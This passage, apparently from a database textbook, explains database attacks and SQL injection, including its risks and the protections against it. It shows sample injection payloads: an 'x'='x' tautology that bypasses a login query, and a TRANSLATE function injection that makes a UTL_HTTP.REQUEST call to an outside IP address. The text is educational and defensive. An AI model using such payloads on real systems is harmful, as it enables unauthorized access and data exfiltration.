SQL Injection

SQL Injection is one of the most common threats to a database system. We will discuss it in detail later in this section. Some of the other attacks on databases that are quite frequent are:

Unauthorized privilege escalation. This attack is characterized by an individual attempting to elevate his or her privilege by attacking vulnerable points in the database systems.

Privilege abuse. While the previous attack is done by an unauthorized user, this attack is performed by a privileged user. For example, an administrator who is allowed to change student information can use this privilege to update student grades without the instructor's permission.

Denial of service. A **Denial of Service (DOS) attack** is an attempt to make resources unavailable to its intended users. It is a general attack category in which access to network applications or data is denied to intended users by overflowing the buffer or consuming resources.

Weak Authentication. If the user authentication scheme is weak, an attacker can impersonate the identity of a legitimate user by obtaining their login credentials.

1. SQL Injection Methods

Web programs and applications that access a data-base can send commands and data to the database, as well as display data retrieved from the database through the Web browser. In an **SQL Injection attack**, the attacker injects a string input through the application, which changes or manipulates the SQL statement to the attacker's advantage. An SQL Injection attack can harm the database in various ways, such as unauthorized manipulation of the data-base, or retrieval of sensitive data. It can also be used to execute system level com-mands that may cause the system to deny service to the application. This section describes types of injection attacks.

SQL Manipulation. A manipulation attack, which is the most common type of injection attack, changes an SQL command in the application—for example, by adding conditions to the WHERE-clause of a query, or by expanding a query with additional query components using set operations such as UNION, INTERSECT, or MINUS. Other types of manipulation attacks are also possible. A typical manipula-tion attack occurs during database login. For example, suppose that a simplistic authentication procedure issues the following query and checks to see if any rows were returned:

SELECT * FROM users WHERE username = ‘jake’ and PASSWORD = ‘jakespasswd’.

The attacker can try to change (or manipulate) the SQL statement, by changing it as follows:

SELECT * FROM users WHERE username = ‘jake’ and (PASSWORD = ‘jakespasswd’ or ‘x’ = ‘x’)

As a result, the attacker who knows that ‘jake’ is a valid login of some user is able to log into the database system as ‘jake’ without knowing his password and is able to do everything that ‘jake’ may be authorized to do to the database system.

Code Injection. This type of attack attempts to add additional SQL statements or commands to the existing SQL statement by exploiting a computer bug, which is caused by processing invalid data. The attacker can inject or introduce code into a computer program to change the course of execution. Code injection is a popular technique for system hacking or cracking to gain information.

Function Call Injection. In this kind of attack, a database function or operating system function call is inserted into a vulnerable SQL statement to manipulate the data or make a privileged system call. For example, it is possible to exploit a function that performs some aspect related to network communication. In addition, functions that are contained in a customized database package, or any custom database function, can be executed as part of an SQL query. In particular, dynamically created SQL queries (see Chapter 13) can be exploited since they are constructed at run time.

For example, the *dual* table is used in the FROM clause of SQL in Oracle when a user needs to run SQL that does not logically have a table name. To get today’s date, we can use:

SELECT SYSDATE FROM dual;

The following example demonstrates that even the simplest SQL statements can be vulnerable.

SELECT TRANSLATE (‘user input’, ‘from_string’, ‘to_string’) FROM dual;

Here, TRANSLATE is used to replace a string of characters with another string of characters. The TRANSLATE function above will replace the characters of the ‘from_string’ with the characters in the ‘to_string’ one by one. This means that the *f* will be replaced with the *t*, the *r* with the *o*, the *o* with the _, and so on.

This type of SQL statement can be subjected to a function injection attack. Consider the following example:

SELECT TRANSLATE (“ || UTL_HTTP.REQUEST (‘http://129.107.2.1/’) || ’’, ‘98765432’, ‘9876’) FROM dual;

The user can input the string (“ || UTL_HTTP.REQUEST (‘http://129.107.2.1/’) || ’’), where || is the concatenate operator, thus requesting a page from a Web server. UTL_HTTP makes Hypertext Transfer Protocol (HTTP) callouts from SQL. The REQUEST object takes a URL (‘http://129.107.2.1/’ in this example) as a parameter, contacts that site, and returns the data (typically HTML) obtained from that site. The attacker could manipulate the string he inputs, as well as the URL, to include other functions and do other illegal operations. We just used a dummy example to show conversion of ‘98765432’ to ‘9876’, but the user’s intent would be to access the URL and get sensitive information. The attacker can then retrieve useful informa-tion from the database server—located at the URL that is passed as a parameter— and send it to the Web server (that calls the TRANSLATE function).

2. Risks Associated with SQL Injection

SQL injection is harmful and the risks associated with it provide motivation for attackers. Some of the risks associated with SQL injection attacks are explained below.

Database Fingerprinting. The attacker can determine the type of database being used in the backend so that he can use database-specific attacks that correspond to weaknesses in a particular DBMS.

Denial of Service. The attacker can flood the server with requests, thus denying service to valid users, or they can delete some data.

Bypassing Authentication. This is one of the most common risks, in which the attacker can gain access to the database as an authorized user and per-form all the desired tasks.

Identifying Injectable Parameters. In this type of attack, the attacker gathers important information about the type and structure of the back-end database of a Web application. This attack is made possible by the fact that the default error page returned by application servers is often overly descriptive.

Executing Remote Commands. This provides attackers with a tool to execute arbitrary commands on the database. For example, a remote user can execute stored database procedures and functions from a remote SQL inter-active interface.

Performing Privilege Escalation. This type of attack takes advantage of log-ical flaws within the database to upgrade the access level.

3. Protection Techniques against SQL Injection

Protection against SQL injection attacks can be achieved by applying certain pro-gramming rules to all Web-accessible procedures and functions. This section describes some of these techniques.

Bind Variables (Using Parameterized Statements). The use of bind variables (also known as *parameters*; see Chapter 13) protects against injection attacks and also improves performance.

Consider the following example using Java and JDBC:

```
PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM
EMPLOYEE WHERE EMPLOYEE_ID=? AND PASSWORD=?");
stmt.setString(1, employee_id);
stmt.setString(2, password);
```

Instead of embedding the user input into the statement, the input should be bound to a parameter. In this example, the input '1' is assigned (bound) to a bind variable 'employee_id' and input '2' to the bind variable 'password' instead of directly pass-ing string parameters.

Filtering Input (Input Validation). This technique can be used to remove escape characters from input strings by using the SQL Replace function. For example, the delimiter single quote (') can be replaced by two single quotes (''). Some SQL Manipulation attacks can be prevented by using this technique, since escape charac-ters can be used to inject manipulation attacks. However, because there can be a large number of escape characters, this technique is not reliable.

Function Security. Database functions, both standard and custom, should be restricted, as they can be exploited in the SQL function injection attacks.